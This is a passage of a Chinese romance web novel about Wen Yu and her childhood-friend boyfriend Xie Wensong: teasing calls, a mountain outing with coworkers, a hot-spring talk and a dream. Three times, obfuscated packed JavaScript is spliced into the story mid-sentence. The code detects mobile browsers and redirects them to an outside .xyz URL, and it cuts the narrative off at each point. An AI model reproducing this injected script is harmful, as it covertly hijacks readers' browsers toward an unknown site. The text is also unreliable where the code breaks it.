虽然没有小时候劲较得那么大,不过她还是屏着口气在的。 只可惜她这边较着劲,谢闻颂似乎早就将旧事翻篇,根本没有一丁点想和她决一高下的意思。 还是会在她绞尽脑汁做难题的时候主动提点关键性的几句,她要是愣神或者还是没想明白,就会被他拨乱头顶的发丝,调侃温鱼鱼你别再分神了。 什么时候开始,较劲的人只有她。 然后都变成谢闻颂主动靠近她,带走她的不快乐,纵着她的小脾气。 彼时温遇正和程以桉坐在榻榻米上吃水果,现在这个季节还能吃到甜西瓜也是一件幸福的事,她一边嚼一边想程以桉刚才和她说的事。 “我还真没什么印象了。” “也许是我看错了也不一定。”程以桉把甜瓜切下一个小角:“时间过去也挺长时间了,没准是有什么别的原因呢。” 温遇也觉得如果谢闻颂真的和人打过架,那必定是因为很重要的事。 这不仅是因为了解,也是因为信任。 她也在想,自己是不是错过了太多东西。 耳后没挽住的一绺头发垂到眼前,温遇突然意识到什么,硬是愣了好几秒。 谢闻颂,不会从高中的时候就已经开始喜欢她了吧。 …… 程以灏晚上约了妹妹吃饭,程以桉提前走了会儿,温遇一看时间差不多也得回家,便准备去换衣服。 正打算给毛衣前面的纽扣系上,谢闻颂打来电话,问她们结没结束。 温遇把手机夹在肩膀,含糊不清嗯了声。 对面略作停顿,突然笑出声:“温鱼鱼,你知道你刚才嗯的那声像是什么?” 温遇重重呼出一口气,把最后一颗纽扣系上,没好气道:“像小猪?” 刚才从回忆的犄角旮旯里,顺便扒拉出来他以前说过她的话。 “像在撒娇。” “……” 谢闻颂并不觉得自己说这话有什么难为情似的,反而越说越起劲。 “你知道你一这样,我就想做什么吗?” 温遇气他动不动就开始说这种让自己没法招架的话,像个混蛋一样。 更气自己为什么会心跳加快。 可即便如此,她还是没忍住问:“做什么。” “做你那天晚上对我做的事。” “…………” 她、就、知、道。 温遇压低声音,不过明显也有点气急败坏的意思:“我那只是为了哄你才——” 谢闻颂语气里满是无辜,“可是我也想哄你啊……” 温遇看了眼周围,换衣间虽然只有她一个人在,不过她确实不太适应在这种公共场合和他聊这种话题,于是只能压下声音恶狠狠道:“我、不、用、哄。” 谢闻颂知道她在嘴硬,好笑反问:“真不用吗?” “不!用!” 温遇怀疑自己这张嘴过安检都得被提醒,是不是有点硬得过头了。 于是当她脸鼓成小河豚拿好自己的东西往外走时,正好在春茶大厅的沙发上找到了正注视她的某人。 谢闻颂甚至心情颇好地朝她挑眉,单手食指朝她勾了勾。 这人招小狗呢? 温遇将唇角抿平走过去,顺手把肩膀半挎着的包搁到他身上,结果这人倒是接包接得顺畅,起身直接挎在自己的肩膀上。 温遇看他这么熟练的动作,一时语塞,想起之前在火锅店临走时他也做了类似的动作,串联起自己刚才的猜想。 下意识的习惯总是不会骗人的。 两个人往外走,谢闻颂把她的手揣进自己的口袋里,温遇感觉到他伸出手指勾住她的,滞涩有温度的勾拉,挠得温遇心痒痒的。 “谢闻颂。” 温遇每次话题都要从唤他名字开始。 “嗯。” 而他每次也从这一声回应开始。 大衣兜里的手被他无死角攥在掌心,无人注意到的角落,温遇意识到他好像很喜欢十指相扣这个动作。 女孩问他:“高中时,你有没有做过什么我不知道的事?” 谢闻颂听完不禁莞尔,用外侧的手帮温遇整理刚才没戴好的围巾,他指尖划过垂落流苏,仿若游离于黑白琴键的手指。 “怎么对这个好奇?” 他也很聪明,瞬间反应过来或许温遇察觉到了什么。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573484|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻颂其实一直秉承着对暗恋的过去保留点神秘感的态度,即便是现在真真正正和温遇在一起,让那些暗恋有了更加实质的意义。 他说过喜欢温遇这件事并非临时起意,并非现在才情生萌动,不过也没有详讲,更没有在她最脆弱的时候全都吐露出来。 他一直陪着她、爱着她就好了,无需反复申述过去对她有多么喜欢,又是怎么一点点喜欢上她的。 可如果温遇某一天想要知道他的过去,愿意解读他的过去,逐渐摸索出他动心的痕迹,他也不会多加掩藏。 他的女朋友,什么都要最好的。 他很庆幸他长成了现在的模样,也庆幸自己刚好可以与她相配,成为她的男朋友。 他们之间从来都是相互依靠。 对于谢闻颂来说,和温遇相爱是一件太幸福的事。 从竹马到男朋友,看似只隔了一个字的距离,坚持如他,也走了很长一段时间,其间也不免为喜欢而慌乱,被青春期各种生涩的感情折腾得心脏颤动。 最终拥有这样一段感情,他确实也得感谢过去的自己。 温遇好奇的模样,似乎想主动探索他过去的世界,谢闻颂心里已经软得一塌糊涂,想把她这副模样圈在他怀里,只给自己看。 “怎么,想知道我给没给你写过情书?” 本来温遇并没有往这方面想,他这一说,自己有了新的好奇,便先将谢闻颂和人打架的事放在脑后。 她微微睁大双眼,一副惊诧模样。 羊绒围巾正规规矩矩圈在脖子上,长发发被兜在围巾内,蓬松得像只透明的水母。 “你不会真的写过啊?” 谢闻颂故意使坏,把她的围巾一直拉到眼睛的位置,颇傲娇说了一句:“不告诉你。” 没因为他这一句话而退缩,温遇绕着他打圈:“谢闻颂,你真的写了?” 某人用眼神示意她接着把话说下去。 温遇得到眼神指令,决定得寸进尺:“那你要是写了的话,可不可以给我看一下。” 某人二度傲娇:“想得美。” 温遇觉得他可能是不太好意思,弯弯眼笑,没再继续问。 诶,这人怎么不算是公主呢? 比她还傲娇。 两个人牵着手走了会,谢闻颂开口问她冷不冷,温遇摇头,看向树木枝头萌生的新芽,说了句春天来了。 “嗯。” 温遇看他被冷风吹得有些乱的额发,谢闻颂没戴围巾,鼻尖微红,仔细看下眼睑还有些没睡好的肿,想到这样沉默的人,高中时经历了很多她不知道的事。 仅仅只是这样想着,温遇的心情便堪比咬破柠檬籽。 酸苦的感觉也许是遗憾他们走到今天,其实走了不少弯路。 温遇握紧了他的手,谢闻颂感觉到她的动作,视线自动锁在她的脸上。 “谢闻颂,你高中时候有没有和什么人发生过冲突?” 他愣了两秒,仔细回忆温遇口中的问题。 “没有。” 这次轮到温遇沉默了。 也许真的是程以桉看错也不一定。 毕竟她真的没有一点印象,如果谢闻颂回答的是没有,那大概的确没有这件事。 初春的天还是黑得很早,时间已过六点,整条街的路灯都已经亮起来。 之前为庆祝新年挂在树上的灯串接连亮起,颇有几分浪漫的格调,温遇仰头盯着小灯泡发呆,没注意到谢闻颂已经走到她对面,两只手都牵着她的。 冷气似乎伴随着那颗心逐渐下沉,她看着对面的人,忽然把自己的围巾解下来,然后圈在他们两个人的脖子上。 围巾长度有限,他们被迫挨得很近,可是偏冷的天气总是要彼此取暖才更幸福。气息炙热难耐萦绕他们之间,仿佛狗尾草轻触心脏柔软的瓣膜,温遇双手捉弄似的揉他的脸。 “你有什么话想和我说吗?” 本想着借着气氛调侃的一句话,谢闻颂还真认真点头:“有。” “什么?” 温遇踮起脚尖,等待他的回答。 风撩起垂落在他们胸前的围巾流苏,大衣摩擦的声音太过细小,小过彼此气息的顿挫。 谢闻颂顺势低头碰了下女孩的唇,像片羽纷纷落下融化糖果,他和温遇那天一样只是轻轻碰触,却饱含爱恋与怜惜。 轻触仿佛只为了简单交融气息,谢闻颂便从她唇上离开。 他表情餍足,像只乖小狗偷偷摸摸做了件自己很喜欢的事一样。 “说完了。” 53.荔枝 53/ 开春Mentha内部安排大家参与户外登山活动,需要登记参与活动的人数,统计表下来的时候,温遇刚和林檬刚从食堂回到工作区。 还是林檬最先发现桌子上被人放了东西,从温遇身边小跑过去,赶紧看上面的字。 “去曲珩山啊。” 温遇还没看到纸上的内容,就听见了旁边人的话,也跟着把视线挪至桌面上。 她起初只觉得这个名字熟悉,想了会发现这是他们高三学校组织去登山的地方。 她前一天还和谢闻颂在医院。 回忆和现在被同一个地点拽到一起,温遇心里难免发生微妙的化学反应。 不过她没有多说什么,拿起纸认真从头看到尾,然后在末尾的签名处落笔,把自己的名字写上去。 林檬见她不声不响读完,已经签好了登记表,不禁咂舌:“这么快就决定了?” 她似乎有点犹豫,正用按动笔的尾端抵着下巴颏儿:“我还在想去不去呢?” 占的是周六的时间,林檬想在家里睡大觉。 她又看了眼旁边坐得板正的温遇,毛衣领口一节白皙的后脖颈仿佛都透着股坚韧劲儿。 小姑娘的精神就是好。 她不服老是真不行。 本来打算暂时将这事搁在一边来着,结果卡着午休结束的点,余源问她们俩结束后要不要去泡温泉。 曲珩山附近有一家出名的山景汤泉,余源对游玩这方面的消息尤其精通,想到上次游泳馆并不太愉快的经历,这次看到地点也觉得赶巧,就直接过来找她俩。 林檬明显也想到上次的事,同样觉得上次的事虽然已经过去,不过还是有点遗憾在的,想了一个下午,还是在统计表上写上自己的名字。 温遇自然没什么意见,余源看到她乖巧说好的样子就忍不住凑过去捏她的脸。 满满胶原蛋白,手感也忒好了。 在这一片工作区,温遇都快成姐姐们的团宠了,轮流被姐姐们亲亲抱抱举高高,有什么好吃的零嘴路过都要给她塞点,温遇礼貌收下,第二天带一些自己做的饼干和蛋糕来社里分给她们。 温遇本来性格也好,工作又肯努力,从不耍滑偷懒,自然对她印象好。 余源边捏脸还边在心里感慨,也不知道以后谁会有福气会和温遇在一起。 这姑娘估计站在那就能把人萌死。 这才是真正的天生甜妹圣体。 日程安排就这样敲定,温遇从电脑旁把日历本顺过来,在上面周末的日期新标注上刚刚定下的安排。 写完放回原位置,等到温遇快下班的时候整理文件,无意间抬头看见标红的日期,她注视上面的字几秒,抬手拍了张照片给谢闻颂发过去。 小鱼丸了:我这周末有安排了。 发完这句,她觉得是不是态度有点冷冰冰,于是跟了一个抱抱熊的表情包。 谢闻颂估计在忙,手机亮屏搁在桌子上,温遇开始整理包里的东西。林檬上周搬了新地方住,和温遇不再顺路,此刻比她先走,轻轻摸她的头:“走啦温宝。” “嗯,拜拜檬檬姐。” 温遇抬头朝她笑,刚要低头继续收拾,面前落下林檬贴近的阴影。 “你……最近……有点不太对啊。” 温遇从包里的隔层拿出唇膏,旋转膏体轻轻抹在嘴上,下意识问:“哪方面?” “感情方面。” 面对林檬的认真脸却无比准确的推断,温遇决定打死不承认,熟练装正经:“檬檬姐,你有没有听过一句话。” “恋爱就像树叶,不是绿了就是黄了。” “???” 林檬一整个问号脸,原本想接着问的话也被她一句话给堵回去,连连摆手去和公交车抢时间了。 温遇掌心收紧握住包带,刚才亮着的手机屏幕已经自动熄掉,她重新打开,发现谢闻颂已经给她回了消息。 还没看到消息内容她就有点心虚。 毕竟这“又黄又绿”的恋爱,她正谈着。 想起刚才的那句话,估计谢闻颂知道以后,肯定会直接把她兔耳朵给揪出来。 缓了半天才把心虚压下去,温遇开始看屏幕上的内容。 想起刚才自己和他说周末有约的事情。 Bigboss:其实我倒没关系。 Bigboss:反正我一个人待着的时候也不少。 Bigboss:主要是核桃舍不得你……唉。 Bigboss:【链接-动物也会抑郁吗?多种实验揭示它们的心理问题,详情戳→】 “……” 这人。 怎么。 这么。 幼稚。 可是一向平静如温遇,看到这句话时也没忍住被对面人的可爱傲娇触动心房。 这人谈起恋爱来,还真是让人头脑发昏。 她在这头笑了会儿才回。 小鱼丸了:那请问家里还有一只小狗,他真的是没关系吗? 从这些字一个一个打上,再到发出去,温遇耳廓的温度不断攀高,心中的雀跃和悸动像在抱小熊滚山坡,滚了一身令人身上发痒的草屑。 她似乎也被他的可爱感染,暗戳戳又心怀期待地踏进属于他的童话世界。 等到进去才发现,他的世界从没有排斥过她,反而更像是为她而设。 这人的所有小脾气和小傲娇其实都只有三分钟热度,拉扯还没过几轮就重现原型,舍不得她受气一点,哪怕是自己从没想过和她较真,这些向来点到为止。 温遇也觉得,她好像真的遇到了一个很喜欢自己的人。 他从来不会说自己有多喜欢。 而是一直在用下意识的细节和行动填满这部分的未言。 过了会儿对面才回,像在酝酿什么很重要的话。 Bigboss:有关系的。 Bigboss:他很想你。 Bigboss:他想时时刻刻和你待在一起。 …… 周五晚上,谢闻颂多在温遇这儿腻歪了会,自从上次正式确定关系之后,他每天从环想回家换身衣服洗个澡就来找她,等晚上差不多睡觉的时间再分开,温遇每次看到门口站着的一大一小,恍惚之余心里多多少少也有点别的感觉。 上次没拼完的《城市之光》还剩大半,温遇有时候回家犯懒只想躺着,谢闻颂牵着核桃进来,相当自然地坐在她旁边,紧接着看剩下的拼图,继承她的“课余作业”。 温遇则窝在他旁边,半集中精神看电视里正播放的电影,席间和谢闻颂有一搭没一搭说话,核桃趴在谢闻颂脚边,有什么动静就把耳朵竖起来。 温遇看电影的时候还挺专注,客厅只开了氛围灯,偏暖偏暗的灯光总感觉眼前有层雾蒙着,她正沉浸在剧情里,突然感觉一侧的脸颊有些湿漉漉,转头就和谢闻颂的鼻尖相碰,滞涩的摩擦存在感无限放大。 四目相对,谢闻颂的眼神带点幽怨,不过因为刚刚偷摸做了件坏事,没太把这情绪拿到明面上:“你刚才没理我。” 温遇错开鼻尖偏头笑着,把他的肩膀推远:“我看电影呢,没听见你说话。” “你把拼图丢给我,自己看电影。” 他叹了口气,又开始装可怜样:“天底下竟然有你这么狠心的人。” 温遇也不知道他后面这一咕噜话是怎么说出来的,颇好笑地凑近盯着他的眼睛:“谢闻颂,我怎么以前没发现你这么无赖。” “你不知道在喜欢的人面前才会无赖吗?” 谢闻颂丝毫不觉得这是什么让自己感到羞愧的词,反而说得一本正经。 “…………” 好吧。 温遇承认自己败了。 她现在想,要是他和以前一样又嘴硬又毒舌,自己还能撑着气势和他斗一斗。 可谁能想到这人谈恋爱之后动不动就一副小狗样,一边眨巴那双眼睛打软牌,一边不声不响戳她控诉某件事,直接打断温遇半程施法。 确实没交过这样的男朋友。 反差也忒大了点。 恍惚意识到,其实谢闻颂还是应该被夺舍的那一个吧。 “那……一起看?” 温遇把怀里的抱枕搁在一边,双手往外展,做出一个敞开怀抱的动作。 没想到她主动了,某人坐在旁边又开始慢悠悠,略带深意的眼神将她从头看到尾,这种揶揄的眼神让她很不爽,温遇唇角抿成一条线,索性直接把手收回去。 “随便你,反正我要继续看了。” 温遇心里默默记仇,直接把抱枕用力重新揣回怀里。 她、要、是、再、心、疼、谢、闻、颂、她、就、是、狗! 本来想用遥控器把刚才没看到的部分往前调一下,温遇发现遥控器不知什么时候已经在谢闻颂的手里。 “……” 憋好的起顿时泄了一半。 她故意当做没看见,趁他把遥控器放在茶几上的时候俯身就要去拿。 手腕在半空被人截住,怀里的抱枕瞬时就被某人扔在一边,温遇就这么被谢闻颂圈在怀里,半边侧脸贴在他胸前的衣服上。 谢闻颂大半个手臂环在她身后,甚至还能余出来手捏她的脸。 没用多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617037|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劲,带点挑逗似的刮擦温遇的脸。 跟挠小猫似的。 这人是洗过澡之后来的,沐浴液的味道有点像兰花,又有点像薄荷草,从衣领的位置漫出来,掺进她的气息里。 谢闻颂头发也带点微凉的潮,温遇用外侧的手轻轻抓拢了一下,咕哝道:“怎么不吹。” “因为想见你。” “嘁。” 真肉麻,受不了。 “那你刚才怎么不抱我?” 谢闻颂知道她肯定要提刚才的事,轻笑了声:“这不是正抱着呢。” “我说你刚才怎么——” 温遇话说到一半,唇就被人寻到,谢闻颂探出舌尖顺着她的唇缝往里舔,柔软的舌尖碰到她的牙,勾起唇齿间的粘腻与湿润。 像潮热天气淋的雨。 温遇头皮连着后背都在发麻,双手抵在他的锁骨处,往外很小劲地推了推。 谢闻颂只觉得她的力气不痛不痒,边含吮着她的唇,边把她溢出来的声音全都吞下去。 只不过他并没再深,等到从她唇上离开的时候,温遇眼眶里都蕴出了眼泪,她只好仓促地抿抿唇,继而看向电视,电影都已经走向尾声,而她连故事情节都没记住。 搂她肩膀的某人似乎还在回味,温遇看见,登时给他小腿一脚。 臭混蛋。 …… 周六早晨,温遇迷迷糊糊爬起来的时候,已经闻到了从门缝里飘进来的饭香,她把发带推到头顶,刷牙洗脸完才过去。 不意外餐桌另一侧坐着的某人,这段时间他们基本一直这样,谢闻颂每天过来和她一起吃早饭,虽然起床的时间要比之前提前一会儿,不过温遇并没有什么意见。 她觉得现在和谢闻颂相处的节奏还挺舒服的。 昨晚熬夜有点放肆,温遇现在双眼干涩,一碗粥从开始喝到喝了一半,谢闻颂见她一直在眨眼。 “你今天少用点眼睛。”谢闻颂抬手探了探玻璃杯的温度,牛奶刚刚放温,抬手放在她碗边,“我晚上买瓶眼药水回来。” “……噢。”温遇抬手把快要掉下的束发带往上捋,突然想到什么似的,好奇看他:“谢闻颂,你会化妆吗?” “……” “你确认这是我应该会的?”谢闻颂指尖点在温遇随手摊在桌上的杂志页。他倒对她这个问题起了兴趣:“不过——” “也不是不可以学的。” 时间还挺充裕,温遇从衣柜里找出宽松的,适合登山穿的衣服,顺便整理去汤泉要穿的泳衣,用装衣袋分别放好。 谢闻颂半倚在门口,时不时提醒她一两句要带的东西。 “早点回家。” “或者我去接你也行。” 原本背对着他整理包的温遇听到最后一句,想想还是转过头:“我跟檬檬姐她们打车回来就行……” 言外之意是不需要他接。 感觉到身后人的沉默,温遇松开包带,转过身到他身前,双手捧住他的脸:“主要最近敏感期嘛。” “如果让同事知道我们的关系……” 温遇斟酌了下措辞,最后给出三个字:“不太好。” 和谢闻颂谈恋爱这件事,虽然她已经接受并且沉浸其中,不过她并不太想明晃晃拿到所有人面前,尤其是职场里。 他刚参加过他们杂志社的采访,身边几乎所有人对这张脸都正敏感着,以前是朋友关系都没泄露一点半点,更别提现在男女朋友的亲密关系。 连她父母也不知道。 现在拿出来也不太合适。 谢闻颂瘦窄的下巴轻敛,脸上看不出情绪,只是撩起眼皮看她的眼神有点冷飕飕的。 半晌,他没什么情绪弯了弯唇,“现在倒感觉我们是那种早恋瞒着家长的学生。” 谢闻颂说完摇头:“不止瞒着家长,也瞒着所有人。” “……” 温遇看着他,回一个不明所以的眼神。 “行,你去吧。” 谢闻颂维持唇角弯起的弧度,松开撑着门框的手,趿拉着拖鞋的声音逐渐远去。 门把手上被温遇悬挂的贝壳风铃叮叮咣咣地响,淹没他本就不大的脚步声。 等她收拾好拿着包出来的时候,谢闻颂已经不在家里了。 温遇低头看脚上的粉兔子拖鞋,想起谢闻颂脚上的那双,上周他不知从哪儿搞来的链接,竟然悄无声息买了双和她同款不同色的。 那是只黑兔子,还被她吐槽丑萌丑萌的。 此刻拖鞋和拖鞋都主人已经消失不见,桌子上还剩的小半杯牛奶,温遇用手背碰了下。 已经不温了。 54.荔枝 54/ 曲珩山和前几年温遇高中去时不太一样。 最顶端的祈福庙已经因为建筑年限太长需要维修而封顶,温遇她们上不去,只能在距离在山顶比较近的地方找了个地方拍集体照。 之前在山顶卖文创和食品的商家不得已挪到下面,温遇刚才上来的时候路过,下意识寻找几年前卖给她平安符的那位老板。 可惜并没有找到。 心底升起抹难以描述的遗憾,不过她也知道这次来大概率是碰不上的。 所以温遇也没抱太大希望,本想着随口打听一句,结果摆摊那儿有位消息灵通的大姐,还真知道那位老板。 “他啊,前几年老伴去世回老家了。” 一句话,温遇的心像密度与空气不和的游离气体,来回上下浮荡,不是滋味。 她休息的时候点进和谢闻颂的聊天框,一片安静,来回上上下下翻也没有新消息进来。 很傻里傻气的动作,温遇也知道。 所以谢闻颂到底是不是因为她早上的话生气了。 温遇在心底叹了口气,在对话框里打字“我今天来的时候听别人说之前的那个老板……” 一句话都没打完,又被她重新删掉。 删到只剩几个字的时候,她误触直接给发出去,温遇愣是反应了几秒才给撤回。 发信息的撤回不像“拍一拍”,这的确会留下“案底”。 温遇也在暗暗咬唇,祈祷这条撤回不会被谢闻颂在意,更不要被回复。 而对面的某人像是无形中接到了她的信号,温遇从五分钟看一次手机变成半分钟一看,连续两个小时,谢闻颂那边始终没有任何回应。 好像是真的没看见。 又好像是真的不在意。 明明是祈祷他看不见才最好的心理,温遇品尝着,却逐渐变了味道。 变得不是滋味。 又酸又苦又咸。 一点也不好受。 都怪那个混蛋。 昨天吻得那么用力,结果今天一条消息也没有。 也不知道锁屏连续被温遇摁开多少次,直至旁边的林檬喊她,她才回过神来,讷讷地跟上队伍。 她们三个人不跟大巴车回去,队伍在曲珩山山脚解散之后,余源兴致冲冲拉着温遇和林檬直奔心心念念的汤泉浴。 三个人进换衣间,温遇把手机锁进柜子里之前,又重新点开和谢闻颂的对话框,和之前无数次一样,安静到没有任何的新消息,他朋友圈的最近一条还在一个月以前,转发环想公众号的推送。 身边传来窸窸窣窣换衣服的声音,温遇一鼓作气将手机也锁进柜子里,扭头就对上两双眼睛。 换好衣服的余源和林檬正齐刷刷盯着她。 “……” 温遇发誓,沉默绝对不是尴尬,是她面对生活的态度。 其实她刚才是最先换好衣服的那个,但一直在看手机,看太专注以至于连剩下两个人走到眼前都没发现。 眼见自己憋了半天的端倪被扯出来一个角,她只好拿出那套惯常的乖巧,腼腆地朝两个人笑。 唇角的弧度还没弯到一半,就被她俩一左一右给架走。 “……” 温遇欲哭无泪。 怎么一言还没合就动手! 听她狡辩,啊不,听她解释哇。 …… “你说什么?你谈恋爱了?!” 温遇左看看右看看,确认这个私人汤池只有她们三个人,且应该不会被其他人听见之后,才缓慢地点了下头。 她严重怀疑林檬这一嗓子,天生耳聋的老奶奶都能被她喊得耳道通畅。 和林檬的反应差不多,余源其实也挺惊讶的,只不过没前者那么激动而已:“真谈了?” 温遇刚要再次乖巧点头,林檬直接提起之前她堪比上战场的“豪言壮志”:“你昨儿个不是说,谈恋爱就像树叶,不是绿就是黄吗?” “……” 温遇听她提起这句话,弱弱道:“这不是感觉要黄了吗。” “……” 三个人之间陷入一片死寂。 “从得知你谈恋爱,再到现在听你说要黄了,不过短短几分钟。” 林檬无助地看向余源,“咱俩是不是现在该在游乐园玩过山车呢,怎么这么玄幻。” 余源还真凑上去,用手背贴她的额头,配合卖力地表演:“别说,还真有点烫。” 温遇笑出声,郁闷的情绪消散大半,只剩点不咸不涩的堵在那,好在存在感并不太明显,还能接受。 她默默蜷起腿,用手指卷起被温水打湿的发尾,一圈一圈绕,眼前被浅浅的白色水雾蕴着,这种氛围似乎更适合思考和回忆。 “我也在想,是不是我们之间沟通出问题了,还是彼此没有把话说清楚。” 没想到比听到这个人具体情况之前,听到的是他们之间出现的问题,林檬愣了下,似乎想起圣诞前温遇和她说过的那个人:“是你那位竹马吗?就你之前和我提过一嘴的。” 温遇讶于她还记得,点头。 余源这才发现自己错过重要消息,“什么竹马?” 温遇往水下沉了沉,半裸的后背浸在温水里很舒服,她下意识像小猫一样眯起眼,感受着四肢百骸同时袭来的舒适感。 “就是一起长大的人。” 温遇半低着头,垂在胸口的长发被打湿一些,发尾已经漂在水里,尖端带动起水面漾起很浅的波纹,热气早已熏红了她的脸,纤长的睫毛也因为这层湿润尤显生动。 余源看着她这副模样,愣是瞧出了一点落寞在里面。 如果是一起长大的人,肯定本身也互相了解,不过能和温遇认识这么长时间的人,自然也不会差到哪里去。 她平时情绪就很淡,很少有特别大的波动,这是余源第一次在她脸上看到有些茫然的表情。 “我和我老公刚开始谈恋爱的时候也这样。”余源看温遇抬头向她这边投来目光,接着补充,“心里憋了小矛盾从来都不说,向来是需要对面猜的。” 温遇在想。 或许是因为彼此太过了解,又或许是因为这件事刚刚发生而已,她其实知道谢闻颂如果不高兴的话,他在不高兴些什么。 余源哎呦一声,似乎有点回忆上头了:“诶,谁说男人心不是海底针呢?” 林檬表示同意:“有时候甚至觉得谈个恋爱还得用上心理学,结果反倒越谈越累了。” 温遇在一旁默默听着,试图把这套道理带到谢闻颂身上。 好像这人,更需要她哄着,跟个小孩似的。 以前倒没觉得,谈恋爱之后越来越明显了。 不过这种情况也不多,一般都是她被他照顾着的时候更多一些。 “小温啊,你之前有没有听说过,男人心理学就是儿童心理学。” 温遇愣了下。 “不过我谈恋爱当时没这个说法。”余源食指点着下巴思考,不过我前几天对着我老公尝试了一下,“儿童心理学,包哄成翘嘴的。” 儿童心理学吗? 温遇低头思忖。 不过两秒便放弃。 某人连消息都不回。 她才不要哄。 公主也是有脾气的。 - 三个人在外面吃完晚饭才回的家,温遇因为不想报蓝湾的地址,委婉地在蓝湾附近找了个最近的地铁口下车。 温遇不太习惯把头发吹得特别干,据说这样会影响发质,所以下车的时候头发还有点没干透,风吹过带着头皮都有点发凉。从汤泉那出来时,她换了条长裙,到家一摸小腿,温度冰凉。 她还是有点低估早春的冷气。 一路上她都在想儿童心理学到底是个什么东西,上各个软件搜索这个词语,发现有不少人拿这套对标自己的男朋友。 温遇一向学习认真,包括此刻研究这看似不太靠谱的说法。 车上手机看得她眼晕,温遇好不容易撑着精神回到家,屋子里黑暗一片,仔细听只有冰箱极小声的运作音。 肩膀似乎有什么沉甸甸的东西一下子被卸开,温遇低头换鞋,长发从耳后倾泻,像海藻一般遮住她的脸。 温遇挺平静地给拨开,顺手敲开餐桌上的吊灯。 灯光亮起的一瞬间,她就看见餐桌上放着的东西。 桌子上摆着一瓶眼药水和一张纸条。 纸条被压在眼药水下面。 温遇把纸条从眼药水包装盒下抽出来,上面是谢闻颂的字迹。 【我去和自己较较劲。】 【不用担心我。】 【有事微信联系^_^。】 温遇愣是把便签纸边都捏皱,才默默把它放在一边。手机里自从下午她撤回的那条,就再没收到谢闻颂的任何消息。 她也不知道他们现在这种情况叫什么。 冷战吗? 好像也不是。 毕竟昨天还含着对方的嘴唇说话。 今早也没有发生什么争吵。 无事发生吗? 好像也不是。 要不然为什么心里这么空。 空得仿佛把身体里所有的力气都抽走了。 温遇换了身衣服,洗漱完毕之后重新回到桌前,拆开眼药水的包装盒,把眼药水滴进去。 四肢重得发昏发沉,她灌了杯温水就躺床上睡了。 温遇有好一段时间没有做过梦,前段时间正值年底忙得很,有好几天连着跑外场,每天沾枕头就着,她有几次差点忘记刷牙,直接倒在沙发上就要睡,最后还是强撑起精神起来洗漱。 后来和谢闻颂在一起后,也很少做梦,一般也都是一觉睡到醒,没有什么回忆和梦的残骸遗留下来。 可是今晚却突然开始做梦。 梦境的胶卷从高中某次夏天开始,她在某个雨天没带伞,一路将校服外套盖在头顶,半淋着雨回家。 推开自己屋的房门,某人正坐在她的书桌前,右手熟稔又流畅地转着笔,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655405|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上是和她同款的夏季校服。 南川附中的校服版型还不错,衣料虚拢着少年偏清瘦的躯体,在青春里不可避免灰扑扑的日子里,他似乎一点没被沉重的书包压得身体变形,脊柱很直,坐在那儿的姿势闲散但不让人觉得态度轻慢。 谢闻颂上衣干净,和她淋过雨发湿发皱的衬衫,和还带点狼狈的模样俨然两个极端,温遇大脑宕机了下,在想他怎么会出现在自己的房间里。 年龄虽然是当时的年龄,可是温遇心里却很清楚,现在的她已经和谢闻颂在一起这件事。 心里揣着这样的想法撞上少年的他,温遇多多少少得反应一段时间,即使这只是梦。 谢闻颂转头看见她的时候没有丝毫意外,甚至心情颇好地扬唇,缓缓放下那根转了半天的笔,然后站起身。 温遇下意识松手,书包包带从手中滑落,书本坠地,发出沉闷的声响。 她后背紧贴门板,潮湿的衣服无缝隙黏在脊背上,指尖把衣摆都卷得翘边,只能看着谢闻颂越走越近。 他似乎一眼就看破了她的紧张,慢条斯理地抬手,指尖擦着她的脸,沿弧度向上,将打湿的一绺头发从她脸颊上挑开。 他指尖好似带了电流,温遇没忍住抖了下,下意识想偏过脸避开他的触碰。 她身上的湿气仿佛也氤氲到谢闻颂的身上,将他衣领的淡香迅速冲开,溶解在他们共同的呼吸里。 心跳声根本掩饰不住,温遇刚要伸手把他推开,谢闻颂说。 “我给你把头发吹吹吧。” “……” 温遇醒的时候才发现自己鼻子堵了,连续抽了两三张纸擦鼻涕,不得不承认一个事实。 她感冒了。 想起昨天晚上回到家双腿冰凉,温遇当时就有点头重脚轻,早知道就该把药先吃掉再去睡觉的。 不过比起感冒更难以让她接受的就是这个离谱的梦。 不过相比过去做的那些,这个梦真实到她醒后能够清楚地记起每一个细节。 她敢确定,当时谢闻颂看她的那个眼神绝对不是想给她吹头发。 那是他谈恋爱以后,每次有意靠近她,都会暴露的眼神。 不过毕竟是梦不是真实,所有的推断和猜测,在事实本身就没建立的情况下都成了推算错误的废稿,温遇收拾收拾丢在一边,却没曾想印象却如此深刻。 